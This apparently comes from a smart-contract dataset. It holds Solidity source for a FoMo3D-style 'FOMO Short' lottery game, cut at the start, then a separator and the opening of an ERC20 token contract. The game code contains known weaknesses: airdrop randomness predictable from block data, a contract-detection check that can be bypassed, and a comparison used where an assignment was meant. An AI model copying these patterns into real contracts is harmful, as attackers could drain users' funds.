potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 34 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
